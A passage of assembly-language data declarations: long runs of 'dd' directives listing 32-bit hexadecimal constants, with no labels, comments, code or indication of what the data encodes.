		dd 0CB70E4C3h, 0B40016CFh, 3C804733h, 0E8A403h,	0D4DDEF2Fh
		dd 34C3BC3Dh, 896E3000h, 0D7836487h, 0F4050065h, 0A6E79A7Dh
		dd 0E100B1A5h, 492658BFh, 29FC36h, 4342BB57h, 7FFDF9DFh
		dd 0A1993761h, 0A4515AA2h, 7C2410AAh, 711700B7h, 676057E1h
		dd 3F2A2E6Ch, 42008459h, 0DF8E588Ah, 7C3E5Dh, 664F8802h
		dd 1815C84Ch, 0F9D07402h, 8016AC2Ah, 81E7CED4h,	350E2ED1h
		dd 4BDB00C3h, 0F01786F7h, 0F6968200h, 0D660736Ch, 0F8D97EE8h
		dd 0AB870370h, 0FC59F7A5h, 0F55C19D8h, 8807E718h, 20D6E918h
		dd 6801C3D4h, 2BB51F85h, 0B1C8AFFCh, 3478FDh, 0AA0ABCDh
		dd 555A5048h, 59782F1Dh, 20FCF20Ch, 0A35338ECh,	0E831CF81h
		dd 9BC270D6h, 1020A850h, 0C1F14651h, 48E3A086h,	2D0C59C5h
		dd 0AE3788h, 23BF9DA0h,	6A8B7AE7h, 4FF9BA00h, 0D0865DEBh
		dd 1667DCDh, 5C6CDBF3h,	0BF433B7Ah, 3DE9019h, 0ADDD7F03h
		dd 89005017h, 48F92495h, 18D8ECE6h, 8F1DE1Ah, 98C0AFCCh
		dd 0FEF95CF5h, 0BEDD00C5h, 1D91416h, 36304A43h,	0FC26D0EEh
		dd 60477731h, 3C7D1090h, 0C9036D14h, 2752F76h, 0C1DBB0CEh
		dd 789400F3h, 0B3DDF4FEh, 0A158F86Dh, 0ABF9008Eh, 4512C040h
		dd 617E73h, 0BDBEB956h,	0A9A0B286h, 2F07DAB8h, 0F18B43EEh
		dd 96D52B90h, 65EF1CAEh, 0BBD880FDh, 0A7F0154Eh, 32812400h
		dd 1DA86D9h, 944900D0h,	3AB908DCh, 0C00A75A6h, 472641Bh
		dd 7AC3407Dh, 3F81AABh,	657CDA7Dh, 80930838h, 616620E7h
		dd 2EAFA671h, 0B0547Ah,	26BB0EDDh, 0B1B90D3h, 0A4299507h
		dd 0BBA94740h, 0F0005D61h, 4F9AD7DAh, 0E54992h,	98427946h
		dd 0C0D490AAh, 0A6A14524h, 28D57201h, 64D818DFh, 0DDC300E2h
		dd 2934BB78h, 5B005A7Fh, 0C83FF9DAh, 0E0AC48h, 7DD4AF3h
		dd 0BF0CC9ADh, 0A400C1ECh, 0CF025A63h, 0EDB269Dh, 3E72B441h
		dd 0F31E29A0h, 810091EEh, 5B941D0Bh, 8530DDh, 58E11490h
		dd 5D72B50h, 0A6FBCB1Ch, 4EE95F00h, 0FA39A908h,	9CD80E09h
		dd 84807FADh, 0FEBFAC19h, 0F000BA7Bh, 4E9E5EAEh, 0B886C5D5h
		dd 4A0E0133h, 506A1A9Bh, 0AB20F427h, 67DA58h, 9DD4B9F0h
		dd 2D1856h, 3CD24F12h, 0A2092522h, 0E17A8600h, 0C7406F75h
		dd 13850918h, 2A8035CDh, 85EF060h, 8900F2FAh, 0EA3C11Fh
		dd 7BE176Dh, 0AC55138h,	0F5321058h, 0C90186D2h,	0AEAAC762h
		dd 56E0C1A1h, 178500BDh, 0B4642F42h, 1D716C10h,	6F01F2E0h
		dd 0E5A512BCh, 5BE01F13h, 0F2EDF003h, 208800F4h, 78D54358h
		dd 0D800081Dh, 310E1C1Bh, 4EECBF1h, 7F8BBB24h, 3024870Dh
		dd 9F6B77A5h, 0D9AB1505h, 0CDC04960h, 94A12Ch, 0AEC91C6Ah
		dd 0F199CCD3h, 74B1F500h, 0FCD8C7CEh, 0B5D030D5h, 0D1D3B810h
		dd 0CCD26A03h, 7690C4h
		dd 9AB4AE78h, 0FC5314E6h, 91C76907h, 993C83D6h,	37470009h
		dd 0A74EF67h, 6A00ECC9h, 5EEE7D9Ah, 3FD79513h, 320035F2h
		dd 27475DC6h, 0DE497B73h, 9C007284h, 24B21296h,	0B6D78h
		dd 65624C81h, 0CB895851h, 0AAD65200h, 0F8EE242Eh, 0CE7830C5h
		dd 5CA9B330h, 9DDACF03h, 0E4CB93Eh, 5FF91E18h, 89078200h
		dd 0E00C510h, 78DE97D1h, 0FC2E35Ch, 6853D012h, 0B5134E00h
		dd 0A5016CA4h, 2CB7D8CAh, 488A96BBh, 0A0AEE8h, 0F47C1D83h
		dd 913EC00Ch, 0C7FB00FAh, 79FCEA1Eh, 1C5800B8h,	67AA3270h
		dd 2500B17Ch, 2ED956BFh, 279D9Fh, 3D249345h, 4194167Eh
		dd 0E9AE0700h, 0E48F2836h, 260FEE2Eh, 164A49Eh,	0C8FACC35h
		dd 0A8D3073h, 1A004670h, 0D35E3AB2h, 0A1997E1h,	63FB8BC7h
		dd 0DF6701F0h, 401AD789h, 7261FFC4h, 0A8B5F07h,	19203A82h
		dd 91E9BD0h, 30460520h,	0CEDD5003h, 79DEAA80h, 64416D12h
		dd 0E8722830h, 1C31007Ch, 9CD7A2CDh, 0F013AC63h, 5840A408h
		dd 6B423380h, 49D100B3h, 6A03BD31h, 2090B758h, 0E04A3030h
		dd 3DE74DBBh, 15808D90h, 0BC9A9509h, 266E082Dh,	379902B8h
		dd 4AC89876h, 6EFA00C9h, 5E450A84h, 503E0B5Bh, 0ECFF016Ah
		dd 0FE4E75ABh, 7B1824h,	76719678h, 0CAFA1ACCh, 79B880A8h
		dd 128E6B3Fh, 846048C4h, 491C3A95h, 6D0258F2h, 7BF5E676h
		dd 89380845h, 0A947091h, 0A300CC00h, 0F0DF11A1h, 0CF54954h
		dd 8057B50Fh, 343E4180h, 0F475DDE4h, 0A6F45CF8h, 48DCB400h
		dd 75CBA7B6h, 891C010Bh, 85143AA5h, 54742250h, 0B172A03Ch
		dd 0CCCD8928h, 0AF65EA03h, 88B87611h, 5F4FA5h, 835E1526h
		dd 4BF5D432h, 0C41C2D2Ah, 0A0306F20h, 0F696CF8h, 0D78E18E1h
		dd 48C0E420h, 31249960h, 8780EC35h, 7A941BDh, 0C980606Bh
		dd 0ED95B393h, 0DC2E1C78h, 71FCBD4h, 7CF664Bh, 13707248h
		dd 0C1996C36h, 0E099F30h, 0CA3C5048h, 0FE6079A7h, 0DA215851h
		dd 3176601Eh, 5AC4B78Bh, 4F1D98FEh, 90661DCFh, 7AEFBC40h
		dd 79F51392h, 8D1800F6h, 6E199968h, 89675632h, 0EB9323B8h
		dd 6355D8C0h, 0EFEC8100h, 0CDF44F6Ah, 47E30378h, 88E26EA2h
		dd 98B65E90h, 62328600h, 3D2A1DB7h, 8CA0028h, 0E1014135h
		dd 334CA9FEh, 0AA1280C4h, 6E389Ch, 0F1670299h, 3B9EB3F0h
		dd 0F34B0315h, 2E0717C0h, 0E7EF750Fh, 99CC5BC0h, 0D5E800C1h
		dd 4C2958DCh, 0A2A061BCh, 0B100BD0Eh, 5FEF9BE0h, 0E26C1A2Ch
		dd 0A1B600A4h, 0D1C41042h, 62540DD6h, 8E098894h, 1CE34ADFh
		dd 0D2C0040h, 0D3083733h, 1E004173h, 0E34E80D4h, 0BBF44Ah
		dd 0DF308BB3h, 0AFE9EA5Eh, 5818A905h, 8CD112C1h, 0C62C4DBh
		dd 0F9D1CA00h, 5A1A3231h, 0C994AF3Eh, 2CEB0090h, 92B40DABh
		dd 8097603Ch, 0FC46B80Eh, 62666A0Eh, 5087E064h,	5816E34Dh
		dd 2414B990h, 0A500BC73h, 70DBAA58h, 0B5006074h, 5622B7A6h
		dd 28858E2Eh, 1EEE7D86h, 4051081Ch, 43AD62BCh, 6A00E2BAh
		dd 6BD8794Eh, 1C8B1A1Bh, 800112F6h, 3178A00Ch, 0AD07D02Fh
		dd 0BD7DEDABh, 0A18C43h, 5A762542h, 670D6018h, 79122A00h
		dd 0EF765D3h, 99EAFEh, 8E87438Bh, 32E6DEC1h, 1930F600h
		dd 93FE37BCh, 7FC505FAh, 802B1B76h, 87D496AFh, 0A08248h
		dd 2255B1E8h, 1B0D85h, 4767E1A8h, 45B26572h, 5EDD9B1Fh
		dd 8CF800FCh, 4919D541h, 3BE62C9Eh, 5BF19E68h, 0E7F178FAh
		dd 3CC020B2h, 0B5007C7Fh, 1A012363h, 1F7F42DCh,	479190EAh
		dd 10B1562Fh, 526F123Ch, 39FECE0Eh, 87C1C9B9h, 6A010F28h
		dd 2A0804h, 0A49BF177h,	0C4E63384h, 7A579F00h, 6CB4AF22h
		dd 0A6C51C62h, 45411366h, 909C4C98h, 9157F81Ch,	0D098AE04h
		dd 0BC80E2E4h, 0F0FF29DEh, 0D8E80958h, 3AF6D99Fh, 0D7310900h
		dd 29C20h, 17D2D5BDh, 0E718DFCAh, 0A7486672h, 67360030h
		dd 0FA90CEE4h, 1CE24833h, 89D38600h, 5E92BD1Ch,	15A37B03h
		dd 0B03F8BE6h, 1732D65h, 6D574BAEh, 24BF6960h, 5B0EE354h
		dd 8A216140h, 14809030h, 0C288DBB9h, 8A8F0B63h,	58381B32h
		dd 889A1E8Bh, 2D103100h, 0FFD10699h, 59AB0460h,	882E1963h
		dd 0A000C8F4h, 2DC94742h, 592A4D89h, 2800082Bh,	6FF3A27Fh
		dd 9209E8DCh, 90D97622h, 0D1DE58h, 75B152FCh, 7BA266F4h
		dd 6ECDF2CFh, 0D153BE04h, 25DB5430h, 0A1D21311h, 868C40AEh
		dd 0C8FDFCB7h, 5CF1B8A0h, 8FF53A00h, 2E393710h,	5782094Fh
		dd 90981555h, 2000FEA8h, 0FB2BB048h, 0F2832605h, 0C2EC0FEBh
		dd 8880ACBBh, 12B51C5Ch, 9888F890h, 0F0B2D320h,	0E2C4A300h
		dd 0DE69E502h, 0DAE926A7h, 24B38004h, 7DFB08AAh, 2ECFF33Ch
		dd 4C268425h, 0A3508F00h, 0F2C0E8h, 0E9D07173h,	2F0645F1h
		dd 0F17ECC24h, 0A2BC506h, 0B0A061F1h, 30BAFACFh, 4F09D8F7h
		dd 947BC679h, 0BAD8B564h, 59002C92h, 0C3E3F46Ah, 92C93EAEh
		dd 0C6D13E44h, 0EAA1C20Ch, 2B00DC10h, 1560D2C5h, 0B0EDFh
		dd 423C644Ch, 2036CBB9h, 85EB011Bh, 0ABA3D812h,	7A500A6h
		dd 5C50A46Ah, 5800F305h, 787AD3DBh, 7B559D65h, 3016076Ch
		dd 90C9BCF6h, 0B807F411h, 1349F9FAh, 70932C24h,	21E0A42Eh
		dd 551EC2h, 3D5D54E6h, 810E8F4Eh, 6012F338h, 0CA617F3Ah
		dd 4F9501C1h, 0D0450D6Ah, 0A8E5D489h, 4AAF8113h, 0B299C28h
		dd 0CFB2435Ah, 0E51B0420h, 18038517h, 0B70EB3B6h, 0DADC90ECh
		dd 0FF80043h, 36893739h, 440001B5h, 0CB71FD5Ah,	799BCFh
		dd 5F4B8E4Eh, 0AD63C09Dh, 0A6BD7F00h, 6FA58B9h,	3FEDF0F3h
		dd 99000E08h, 0C8E4A1BAh, 1604EB95h, 5E8A4077h,	0F7A01887h
		dd 3B41EA0Dh, 85008142h, 0D3FFC0F3h, 0E707A53Dh, 4A206175h
		dd 90A7A8D0h, 1E8F14AAh, 0D40CD8E3h, 0D6C88399h, 95BBE00h
		dd 0D3354BD8h, 0E8AC3A41h, 4C480C72h, 0F83011DEh, 84B07400h
		dd 0D5ABC7D4h, 3BD80706h, 30495C8Eh, 28BE213Dh,	0C8C6A400h
		dd 91059993h, 293503ECh, 0C11D61C0h, 95507A98h,	0A00E3400h
		dd 3079CCB6h, 24A500CAh, 0FB42861Eh, 5200DBD3h,	0A16D7C83h
		dd 770293B7h, 8FA824BBh, 0B3F00DDh, 0B1158A49h,	0F8CDC01h
		dd 142F9D63h, 0CCE824h,	0D2D3D30h, 5EF1C743h, 33009B70h
		dd 75F06291h, 1FCCE36Bh, 475FABF2h, 0B067E0D4h,	73E54984h
		dd 81456000h, 0C5F1DCADh, 9FFF1FA2h, 0B6C6C13Eh, 64161D27h
		dd 261E1014h, 72C0D0A5h, 9DBC4B34h, 4EBA0E90h, 0D160EAB3h
		dd 0B51F8950h, 9A936212h, 5ABCA440h, 67E653h, 0D57B08B0h
		dd 0D74D1131h, 43CB7200h, 9185C6C0h, 3DBD7435h,	0B580BC68h
		dd 58F85FDEh, 0B00E404Eh, 0E93A718Eh, 0A9158059h, 0D802F3h
		dd 0C1F17D12h, 1ADAB5F5h, 72D1090Fh, 0C52F405Dh, 0E06C35h
		dd 0F4DDA542h, 62C3ABC1h, 891B100h, 0BE5B9BBBh,	0F62C004Ah
		dd 80690466h, 0F0EE2785h, 387A0C00h, 0E05632EFh, 51720ED8h
		dd 0CBC00F09h, 0CF1A675h, 5F559C0Fh, 0E576081h,	0FE4EC122h
		dd 41603984h, 0F1D100FFh, 52425BAAh, 3A6C255Dh,	1080A172h
		dd 58322D8Ah, 0A35031Bh, 0D07C79B6h, 673AF1Eh, 8A5B1BEEh
		dd 1400DA9Eh, 19284D40h, 0E8FC69h, 6729F6A5h, 77C9D8F8h
		dd 0E6F79700h, 8DC8B6C5h, 0E7413F62h, 0E2BD0A00h, 0E1DBB7F9h
		dd 4DB54B01h, 23A37856h, 0DE49E0h, 0CBE5F2DDh, 2593AE94h
		dd 0AB44EF03h, 155EE42h, 79B48010h, 0C89E7053h,	7D00AECFh
		dd 3805E74Ch, 1AA9DBDh,	8968B1CDh, 0D80C6E19h, 0FC18B4F9h
		dd 0DD0C5F51h, 0F5CA0043h
		dd 483E2ABAh, 463BCB22h, 5C112478h, 63E8EF00h, 0F42157F4h
		dd 22BD0780h, 500FEC47h, 9F2E02BAh, 8BB5D80Fh, 8DC780DFh
		dd 694537h, 0F9CE2AF8h,	1B2CB917h, 5CB47C01h, 76A1012h
		dd 9C83BA00h, 0E4FA5000h, 3C2ECAC2h, 93360361h,	8CE6204h
		dd 545E4088h, 1DA32407h, 0DD572187h, 8AD59B10h,	0AC209ABh
		dd 83807FE5h, 0D30D0C37h, 26CCC05h, 2C906F53h, 7808CFh
		dd 99413714h, 6BC28A23h, 1D6F151Ch, 0BF91DB40h,	7228C8ACh
		dd 2A2700FFh, 18095097h, 31009F0Dh, 42DA1982h, 0D8894D3h
		dd 304A6ED6h, 99A0ECC0h, 17FA5300h, 0C00EA1DCh,	0E40302F1h
		dd 0CF58730h, 0B8F2A440h, 387D5D00h, 99F6CA6h, 0C136386Ah
		dd 0A5ACBC80h, 9917218Fh, 33B22600h, 7A4968F4h,	6BDE009Bh
		dd 0BF529512h, 3C3C9DD1h, 7CE7805Ch, 140A8A97h,	75E00962h
		dd 37808BB3h, 30C7FAE2h, 0F7A0F3Fh, 0C01335F3h,	0FBE3D717h
		dd 26B018h, 12C755Fh, 0CF5BEA45h, 314BC812h, 8EC0C41Dh
		dd 0ED368034h, 0A9FC04E2h, 82B9CAEEh, 0C8C05AA8h, 0CD723928h
		dd 8ACCFB1Dh, 7C9B6140h, 0F05C02DCh, 910703FEh,	4835724Bh
		dd 714CF400h, 0B1E544DBh, 218A0095h, 0FBC73D2Eh, 0F49CBC20h
		dd 9B85D104h, 5D23F100h, 505B09BDh, 70456841h, 0C4F9199Fh
		dd 7EB9D1FCh, 0C7D80EECh, 9DC110B5h, 20010C9Ch,	39168F50h
		dd 3F006777h, 20BC8D6Dh, 50930082h, 99834B37h, 6E04CDE8h
		dd 0A01D32FEh, 2114A0h,	19B4D40Eh, 5DCA1AA9h, 37D7ED17h
		dd 0AB0484h, 236A542h, 8CE5AFEh, 0E5578179h, 0A986D7E6h
		dd 51A1BF43h, 0C5295D0Eh, 825989CEh, 0C0337A67h, 58FD4EBFh
		dd 5C001A32h, 0E5202F85h, 0CD0ED8D6h, 2162B09h,	8017D78Fh
		dd 5D507F4Ch, 0FE5C265Bh, 563D0089h, 0ACA07643h, 7B161F00h
		dd 649112AAh, 630DD21h,	0B93672EBh, 5639B400h, 0A8F5C31Ah
		dd 0CFD90A3Ch, 0A105196h, 1C6F9Eh, 816478Dh, 9901670Dh
		dd 0A40590D0h, 92DC4B9Bh, 53690091h, 9714DD78h,	0A2422C3h
		dd 0ED86ACA0h, 0FAB1DA9Ch, 6351C026h, 0DFEC5F01h, 90C5E406h
		dd 340E194h, 5C5D7E9Dh,	0CE93DC34h, 63AE73E8h, 0C3106D05h
		dd 0A820059Ah, 29BB26h,	47A91F14h, 0EC9E1052h, 21EA0130h
		dd 955505h, 9BA242Ah, 0A3B72C27h, 0E2D69C0Eh, 1C2260A1h
		dd 0CEC39620h, 0A489B830h, 12A1D10Ch, 465B1D00h, 0A0160FAAh
		dd 898FB96h, 874D31B7h,	0DBAF5B00h, 0E83B3A3Eh,	20F1CF91h
		dd 7F2D803Dh, 2B6F07F3h, 1BBA5301h, 268F5A61h, 0B0FA23C8h
		dd 0D0E820h, 0BE1904ACh, 0EF1AB97Dh, 72811460h,	2515BD9h
		dd 392A7EB5h, 8080A9ADh, 0E31C29CFh, 922AA6F2h,	0D90EACA4h
		dd 891A592Eh, 0E060EB69h, 28A055Ch, 0FF514A32h,	948BAD62h
		dd 0F43F0805h, 71C00504h, 0C5A04BB1h, 41F7F69h,	15CDD1CAh
		dd 5D9CC09Dh, 0DD0ADB2Ah, 800FAB34h, 6F47D901h,	0F8F0A77Eh
		dd 0FF590033h, 6CB051AAh, 14006DE1h, 28197375h,	265CFE76h
		dd 7783D7Ah, 30CEA21Ah,	0B49FC8EDh, 0CFBD4E2Ch,	65E2600h
		dd 0C6BC133h, 27771CC3h, 3201A499h, 0BD6340B1h,	0F082A3F0h
		dd 8678A63Dh, 7B000064h, 0D9EFC305h, 1D22415Dh,	1556359Eh
		dd 0F42790E1h, 0FB0024D8h, 0EF105043h, 861C12h,	5246289Bh
		dd 0ED75DD79h, 6CBCB773h, 0F309421Dh, 0C4D81062h, 0C98000F6h
		dd 36F7795Dh, 0C2746FE9h, 0ABA43254h, 4E801F06h, 5B92DFCh
		dd 59B65509h, 3FDC0D2h,	0C80A2AA9h, 0D08E68FDh,	3828A408h
		dd 28D8B32Ah, 79739E9h,	0C1A6CE14h, 4852A061h, 6B002BABh
		dd 70A93B09h, 31035Fh, 0EB1E89ADh, 0EC0268D3h, 48078B3Ah
		dd 0F51F00F4h, 594C94CAh, 182171DEh, 0A93B79F4h, 1D399B57h
		dd 89CB009Ch, 5D6185B6h, 264C0063h, 0AE6C05A5h,	915F1F56h
		dd 393AF00Ch, 2ABC0033h, 611821B8h, 2D0048B2h, 9910DABh
		dd 0CC56362h, 699BFFCCh, 5487431h, 435F80C4h, 3CF30C87h
		dd 17814B8Dh, 8B6C6170h, 0CD50FCF0h, 0AA7CC913h, 23BC6C10h
		dd 834A0087h, 0C2995DF5h, 373D4486h, 3880F300h,	7849FFE6h
		dd 0DF6F003Ch, 0C6910C4Eh, 7242AB1h, 0FA081825h, 817F658Bh
		dd 264DD9C1h, 30474E18h, 65307E9Ah, 0B4AE91h, 0AC1A162Eh
		dd 53A63C83h, 6303C93h,	0A445D984h, 0A60D2024h,	8E78D539h
		dd 0FD73DA03h, 83B39480h, 0CB333D4Eh, 23811B98h, 0F5E09511h
		dd 392860BAh, 73CA9B01h, 579283D8h, 1223C034h, 0EEAB6h
		dd 0EFB57F90h, 3777B9FBh, 0F284F901h, 0C625E23h, 7C02081h
		dd 4FF34232h, 719C1120h, 4B79480h, 0C0A54085h, 858011EEh
		dd 2032B8EFh, 27CD4F00h, 0FE28B6BDh, 296260C2h,	0C5899571h
		dd 1454482Ch, 46568282h, 0D134409Ah, 0C3D500E9h, 8151328Bh
		dd 8601F2AFh, 0DC490969h, 0B8501443h, 162CD640h, 91201F80h
		dd 480E2534h, 0BF00D1C8h, 73B57E97h, 5837BD6Eh,	0CB8038C1h
		dd 2C8DA010h, 4C920B28h, 2C96500h, 2E82A3C3h, 9067690Fh
		dd 436B4004h, 31C5BCA1h, 0BBB89EA4h, 63FCE1C3h,	5B860214h
		dd 1C87AA73h, 5B3C4000h, 1F59273Fh, 742CA023h, 0BAE8C201h
		dd 3CCCCEC3h, 6D98DB04h, 0BD623FAAh, 5B65AB20h,	0A55F00A4h
		dd 4C8CA8D1h, 8D0AEBDFh, 908A244Dh, 0A445044h, 4C74022h
		dd 58A74BDFh, 73AA2Eh, 250A29CCh, 0BBB3D39Bh, 1CA41154h
		dd 2C465C5Bh, 41FF03h, 99F0CD13h, 0D16D70D7h, 2D0AD01h
		dd 0C3AFF71Fh, 81CBC891h, 0AA6A98D8h, 0C8C9CE6h, 575BF3B2h
		dd 6913ADBAh, 6841C23Eh, 0AE61C4EDh, 63121023h,	0BE4840A2h
		dd 0ECB6C2C8h, 4BDE0502h, 0E01DDA50h, 0A112BA47h, 80542FA8h
		dd 0E0EB9823h, 452A838h, 0F348C2DEh, 87F8C03Eh,	0FA33AC28h
		dd 0F011B15Ah, 7E7640h,	7ADB3C1h, 6FD1C301h, 8030B648h
		dd 779DAE9Eh, 941D00F2h, 54CCC3A0h, 21C05986h, 92B0132h
		dd 3BAF3FD1h, 39332FBDh, 0D2F05E61h, 141D35DCh,	0CF02CDF0h
		dd 40A72D0Ch, 0BA35CC4h, 2E28C2CAh, 7E8284A1h, 93482426h
		dd 0EB77E800h, 0CAAA129Ch, 0E4900Fh, 0A245FF9h,	0C5DD618Eh
		dd 0AE189BF2h, 8256EB2Ch, 64803066h, 0E5B8C240h, 4C587561h
		dd 54609BBFh, 5A970421h, 0D10A86CDh, 2BC7B658h,	0F417C2C1h
		dd 0CE99E4h, 0C3F9B484h, 0D3EDAF9Dh, 683A6307h,	87DB667Eh
		dd 0CAE583F4h, 5BEFFC60h, 5FAA2378h, 0FEAB08h, 0B75B896Fh
		dd 830160E6h, 0C37B74F9h, 8C378029h, 0C37AE2A7h, 357DE422h
		dd 0C7042021h, 8234B418h, 77309288h, 5DC80B83h,	4816F411h
		dd 8000FCF2h, 607C558Ah, 91B649h, 8F6D24C9h, 0E2232728h
		dd 0FC5A5409h, 0E8184286h, 0B72965Ch, 0E6B63B36h, 11E008AEh
		dd 10065F65h, 8A5DA1C0h, 0EE34CA30h, 0FA2678C2h, 378B2413h
		dd 0BF72027Dh, 7C408A39h, 360114F6h, 956B421Ah,	3FF2AE2h
		dd 0B93F6518h, 8BE1C004h, 715C2464h, 0D5FA7712h, 0BF78C00h
		dd 2EA144Fh, 261AF4Bh, 0D86866D9h, 19074573h, 0A1F2AC20h
		dd 0D8BE8889h, 0AA8CC21Eh, 4540F6h, 3640DA34h, 4181AF92h
		dd 76189B61h, 383A1A83h, 0AD0BC548h, 8140207Ch,	155D2B93h
		dd 0F3421C8h, 0C6EA56AFh, 80B645C4h, 0AD1AC60h,	921FDCFDh
		dd 7F0D1898h, 30559BEDh, 0D28C60h, 0BD0D6AD8h, 51FE0B4Ah
		dd 3DE41E4Ch, 0E78C9966h, 28402268h, 0C77E4E94h, 0B6351B19h
		dd 2B0C99D4h, 0A902C130h, 5FB514AAh, 7AC16065h,	893A07D8h
		dd 84D9A6A8h, 0E090BB3Ch, 8291C766h, 7D929000h,	950262F3h
		dd 0D86C3173h, 55488056h
		dd 0A45975DEh, 8468567Ch, 7974FB19h, 0B8EDEC52h, 84185068h
		dd 4B9F5A10h, 7C014E6Ch, 0A662A8AFh, 4820CD90h,	0E18AAE21h
		dd 837E89AFh, 48C35149h, 20C909AAh, 1087DB75h, 156AC058h
		dd 0B4D8B591h, 28F7F3A9h, 0EE18671Bh, 0C2D30728h, 0E30E10ACh
		dd 590C2BB5h, 395CED91h, 9AE9016Ah, 2EADA5AFh, 409453C5h
		dd 0D9C77580h, 83D811C9h, 0F0145668h, 94B7FFCDh, 751280B8h
		dd 90895AEDh, 0E3AF8C01h, 0A757BDABh, 0A16C1087h, 42857420h
		dd 0C3C9F5CFh, 5923A02Ch, 51707036h, 30413457h,	9310BBAEh
		dd 0AF3FF3C3h, 0A028A972h, 6B010024h, 4557DC24h, 65E0024h
		dd 0AEF758FDh, 667F1037h, 2B03149Ah, 0CDBAFE05h, 0B9100AD0h
		dd 85849951h, 0C0DD1E11h, 0ACA0E608h, 0EB0016FAh, 64C335D7h
		dd 0BAA754DCh, 409E5750h, 0A7085AC8h, 890052D0h, 1A0C90CDh
		dd 0A4190F63h, 0D330E1F5h, 0D03940E1h, 0AC3FB715h, 5450EB14h
		dd 35141062h, 432FBC84h, 13CC9F57h, 4743A138h, 729BBE60h
		dd 94EBAD27h, 13E0B14Ch, 10222EA9h, 810CA7E3h, 0BB8242B8h
		dd 7CCB6110h, 0A8661306h, 0FBB0E30Fh, 81FF0446h, 9425E21h
		dd 2008483Dh, 5200D7F4h, 0EEB6BE54h, 3D9CB323h,	741A3485h
		dd 0E004A405h, 0F563F200h, 363EF65Ah, 9B09CD43h, 63CAC021h
		dd 35EFD600h, 1F293AE4h, 895B64B8h, 0A2DCA403h,	9DA02500h
		dd 0F07D5C76h, 0ECBA0024h, 9C982B54h, 0E07E9B8h, 46355297h
		dd 9D74AC00h, 205500C2h, 82D937CCh, 1261C131h, 0C3B4DD59h
		dd 140BDCh, 0C413B358h,	214B6B90h, 0C50F8705h, 0FC8CAC23h
		dd 3C7E5C9Ah, 0AB5008D6h, 5C1C2083h, 4B59010Dh,	0AE354A8Fh
		dd 0F82193B2h, 0AF56AC06h, 9611EA48h, 0B4AA8330h, 0C0CDCA89h
		dd 3B3AF06Ch, 128CBB52h, 48800B8Bh, 1FCBCFE3h, 81FED294h
		dd 9915C4A3h, 0BAAAD42Fh, 4225FCE5h, 52703530h,	0E105F123h
		dd 9200E062h, 0FFC596A5h, 0ECA82D9Fh, 0B55BAD35h, 58E24C24h
		dd 1F3C5D02h, 0C091DEE4h, 0FD8E10D6h, 214800AEh, 0D1C40B92h
		dd 7E3BE695h, 23C718F0h, 0F11331h, 8A349327h, 7A32EC96h
		dd 3E58E600h, 7F357023h, 0E6CEC20h, 0BBF289F5h,	4636C2A3h
		dd 2BD7948h, 291D1DBh, 68C8C19Eh, 7B746080h, 7F3B3EDEh
		dd 0A0428B2Ah, 0C5447300h, 0E32682F9h, 6ACC05E8h, 0A079D3DCh
		dd 48EA1B90h, 31716800h, 6C923D9Eh, 0C6DB27F3h,	771C5081h
		dd 52B98036h, 55AEC310h, 0A6531DD6h, 53FEBE5Ah,	0C300C46Bh
		dd 150D03D5h, 9F05EBFEh, 784750F5h, 0B4563FC0h,	0EA102514h
		dd 0D7C5018h, 9C30954Ah, 23CF80F0h, 2E11695Dh, 0DC021D20h
		dd 9D49E816h, 99244C34h, 6CA9836Ch, 9BD006E6h, 0C35A1EECh
		dd 0EA21B840h, 48E40C01h, 0A41144B8h, 63200C98h, 18D46934h
		dd 0C08CDE03h, 6745973h, 15919E00h, 6DBB0782h, 3AA3028Dh
		dd 0F43DF09h, 0B91C80A2h, 3332872h, 0A8885944h,	0E0FF6943h
		dd 0FCAA2782h, 7C007DF6h, 0EBFA3067h, 0F38F0090h, 0BF285D5Ah
		dd 0C14837BAh, 0EB3C8018h, 0CE953Eh, 628EB416h,	9A5210A8h
		dd 30A6FF39h, 46452908h, 1ED9749Fh, 8FAF3A3Ch, 11BB1CDEh
		dd 8D3A830h, 3CDDBFEh, 0D8FF5D6Ah, 404375A7h, 0D7FD0190h
		dd 59C8D205h, 0EB8B4434h, 6B03C000h, 5DB86802h,	0E30F7798h
		dd 0E680C5E6h, 2A231BBFh, 0A03966h, 31061654h, 85E85241h
		dd 9AF1F700h, 0FAC40A92h, 550B1417h, 1F22305Dh,	4CF05F0Fh
		dd 13AF4068h, 61CE6Ah, 11093329h, 5D1CDBF1h, 2585209Ch
		dd 0BC4632A2h, 793166h,	0A3EA6908h, 0BF45F7F8h,	0FC645A00h
		dd 59043BE3h, 4DDD7C93h, 8B935CDEh, 0C6BDC8D4h,	0A5A10225h
		dd 58380Ah, 3FB6BB72h, 5A1AF5B5h, 886C00DCh, 4873ACA3h
		dd 51B48F03h, 0B358B668h, 78A7AAD9h, 5C8C96ECh,	87C03821h
		dd 0C5B6C2CDh, 0F988C2D3h, 0DCACA0EBh, 0F74B7998h, 1D400800h
		dd 35DA44Ch, 873E9585h,	0C8DDFCADh, 0AA4C35D8h,	28009278h
		dd 0F2867F39h, 0F42F0EE5h, 0EA4A5A2Ah, 0F5B161B4h, 9E1468C6h
		dd 647D007Bh, 440AA8CFh, 0E09C0577h, 908A61AFh,	9EDE557Ch
		dd 0CB49A607h, 0FD836C59h, 40E6EAA3h, 0E9E28D54h, 6EA9F470h
		dd 54A4302Dh, 3B0C9043h, 0A10E5590h, 42368E0Fh,	0C06FA5BDh
		dd 18A0424h, 6D6EE54Ch,	4269D9FFh, 0D8AFA368h, 0C13E2304h
		dd 417B5E41h, 32B7ED8Ch, 0DB041C80h, 68B91F85h,	28BD5088h
		dd 93C65CDh, 0C13AA9D8h, 24F99010h, 0E905A80Eh,	61D04015h
		dd 0E6463195h, 6FEC09FCh, 0C000EE52h, 0DC623D2h, 58BDA918h
		dd 0FB4B1C9h, 5A2E436Ch, 7DC173C0h, 9905DC22h, 3BDFDB87h
		dd 20917082h, 5594CF01h, 44EC9E00h, 2AE9780h, 305425DFh
		dd 0FDEABC48h, 3203AA03h, 303EAC66h, 0C0418B88h, 107E5CDh
		dd 68D3EFBCh, 4AF9D63h,	69E964F9h, 1E1C903Dh, 80F7B635h
		dd 0A63C3E39h, 2CACFCBBh, 81CCA9B8h, 0E4945AEBh, 0DA03853h
		dd 58EC193Eh, 49A177D4h, 7901204Dh, 61B8AFF3h, 0EBE440E0h
		dd 0B73FC501h, 73783C49h, 0E7E48C18h, 0A4906B49h, 438605CCh
		dd 23F01124h, 169B8218h, 0A97EE7D8h, 0C0C0DE76h, 91037150h
		dd 0AD7001Dh, 2976739Dh, 0DC09AF78h, 724233Bh, 0D804EC61h
